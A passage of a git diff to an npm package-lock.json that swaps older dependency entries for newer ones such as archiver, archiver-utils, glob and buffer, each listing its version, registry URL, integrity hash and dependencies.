- "rc": "^1.2.7", - "simple-get": "^3.0.3", - "tar-fs": "^2.0.0", - "tunnel-agent": "^0.6.0" - }, - "bin": { - "prebuild-install": "bin.js" + "glob": "^10.0.0", + "graceful-fs": "^4.2.0", + "is-stream": "^2.0.1", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" }, "engines": { - "node": ">=6" + "node": ">= 14" } }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "engines": { - "node": ">= 0.8.0" + "node_modules/archiver-utils/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dependencies": { + "balanced-match": "^1.0.0" } }, - "node_modules/prettier": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.5.1.tgz", - "integrity": "sha512-vBZcPRUR5MZJwoyi3ZoyQlc1rXeEck8KgeC9AwwOn+exuxLxq5toTRDTSaVrXHxelDMHy9zlicw8u66yxoSUFg==", - "dev": true, + "node_modules/archiver-utils/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/archiver-utils/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, "bin": { - "prettier": "bin-prettier.js" + "glob": "dist/esm/bin.mjs" }, - "engines": { - "node": ">=10.13.0" + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/process-nextick-args": { + "node_modules/archiver-utils/node_modules/is-stream": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "node_modules/progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", - "dev": true, + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", "engines": { - "node": ">=0.4.0" + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, + "node_modules/archiver-utils/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true, + "brace-expansion": "^2.0.1" + }, "engines": { - "node": ">=6" + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/qs": { - "version": "6.10.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", - "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", - "dev": true, + "node_modules/archiver-utils/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "dependencies": { - "side-channel": "^1.0.4" + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" }, "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, + "node_modules/archiver-utils/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/archiver/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", "funding": [ { "type": "github", @@ -2965,169 +3337,149 @@ "type": "consulting", "url": "https://feross.org/support" } - ] - }, - "node_modules/randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/rc": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", - "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", - "dev": true, + ], "dependencies": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "bin": { - "rc": "cli.js" + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" } }, - "node_modules/rc/node_modules/strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true, + "node_modules/archiver/node_modules/buffer-crc32": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz", + "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==", "engines": { - "node": ">=0.10.0" + "node": ">=8.0.0" } }, - "node_modules/read": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", - "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", - "dev": true, + "node_modules/archiver/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "dependencies": { - "mute-stream": "~0.0.4" + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" }, "engines": { - "node": ">=0.8" + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, - "node_modules/readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, + "node_modules/archiver/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "safe-buffer": "~5.2.0" } }, - "node_modules/readable-stream/node_modules/safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "dev": true + "node_modules/archiver/node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "node_modules/are-we-there-yet": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", + "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", + "deprecated": "This package is no longer supported.", "dev": true, + "license": "ISC", "dependencies": { - "picomatch": "^2.2.1" + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" }, "engines": { - "node": ">=8.10.0" + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" } }, - "node_modules/regexpp": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", - "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "node_modules/are-we-there-yet/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, - "engines": { - "node": ">=8" + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - } - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true, "engines": { - "node": ">=0.10.0" + "node": ">= 6" } }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", "dev": true, + "license": "MIT", "engines": { - "node": ">=4" + "node": "*" } }, - "node_modules/reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", "dev": true, "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" + "node": ">=8" } }, - "node_modules/rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==" }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true + }, + "node_modules/azure-devops-node-api": { + "version": "12.5.0", + "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-12.5.0.tgz", + "integrity": "sha512-R5eFskGvOm3U/GzeAuxRkUsAl0hrAwGgWn6zAd2KrZmrEhWZVqLew4OOupbQlXUuojUzpGtq62SmdhJ06N88og==", "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], "dependencies": { - "queue-microtask": "^1.2.2" + "tunnel": "0.0.6", + "typed-rest-client": "^1.8.4" } }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true, + "node_modules/b4a": { + "version": "1.6.7", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.6.7.tgz", + "integrity": "sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/bare-events": { + "version": "2.5.4", + "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.5.4.tgz", + "integrity": "sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==", + "optional": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", "funding": [ { "type": "github", @@ -3143,92 +3495,134 @@ } ] }, - "node_modules/sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", - "dev": true + "node_modules/before-after-hook": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz", + "integrity": "sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==", + "dev": true, + "license": "Apache-2.0" }, - "node_modules/semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" - }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, "engines": { - "node": ">=10" + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/serialize-javascript": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", - "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "node_modules/binaryextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/binaryextensions/-/binaryextensions-6.11.0.tgz", + "integrity": "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw==", "dev": true, "dependencies": { - "randombytes": "^2.1.0" + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" } }, - "node_modules/set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "file-uri-to-path": "1.0.0" + } }, - "node_modules/setimmediate": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", - "dev": true + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "optional": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "node_modules/bl/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, + "optional": true, "dependencies": { - "shebang-regex": "^3.0.0" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" }, "engines": { - "node": ">=8" + "node": ">= 6" } }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, + "node_modules/bottleneck": { + "version": "2.19.5", + "resolved": "https://registry.npmjs.org/bottleneck/-/bottleneck-2.19.5.tgz", + "integrity": "sha512-VHiNCbI1lKdl44tGrhNfU3lup0Tj/ZBMJB5/2ZbNXRCPuRCO7ed2mgcK4r17y+KB2EfuYuRaVlwNbAeaWGSpbw==", "dev": true, - "engines": { - "node": ">=8" - } + "license": "MIT" }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "node_modules/boundary": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/boundary/-/boundary-2.0.0.tgz", + "integrity": "sha512-rJKn5ooC9u8q13IMCrW0RSp31pxBCHE3y9V/tp3TdWSLf8Em3p6Di4NBpfzbJge9YjjFEsD0RtFEjtvHL5VyEA==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "dev": true, "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dependencies": { + "fill-range": "^7.1.1" }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "engines": { + "node": ">=8" } }, - "node_modules/signal-exit": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz", - "integrity": "sha512-sDl4qMFpijcGw22U5w63KmD3cZJfBuFlVNbVMKje2keoKML7X2UzWbc4XrmEbDwg0NXJc3yv4/ox7b+JWb57kQ==", + "node_modules/browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, - "node_modules/simple-concat": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", - "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "node_modules/btoa-lite": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/btoa-lite/-/btoa-lite-1.0.0.tgz", + "integrity": "sha512-gvW7InbIyF8AicrqWoptdW08pUxuhq8BEgowNajy9RhiE86fmGAGl+bLKo6oB8QP0CkqHLowfN0oJdKC/J6LbA==", + "dev": true, + "license": "MIT" + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", "dev": true, "funding": [ { @@ -3243,232 +3637,300 @@ "type": "consulting", "url": "https://feross.org/support" } - ] + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } }, - "node_modules/simple-get": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-3.1.1.tgz", - "integrity": "sha512-CQ5LTKGfCpvE1K0n2us+kuMPbk/q0EKl82s4aheV9oXjFEz6W/Y7oQFVJuU6QG77hRT4Ghb5RURteF5vnWjupA==", + "node_modules/buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", "dev": true, + "license": "MIT", "dependencies": { - "decompress-response": "^4.2.0", - "once": "^1.3.1", - "simple-concat": "^1.0.0" + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" } }, - "node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "node_modules/buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + 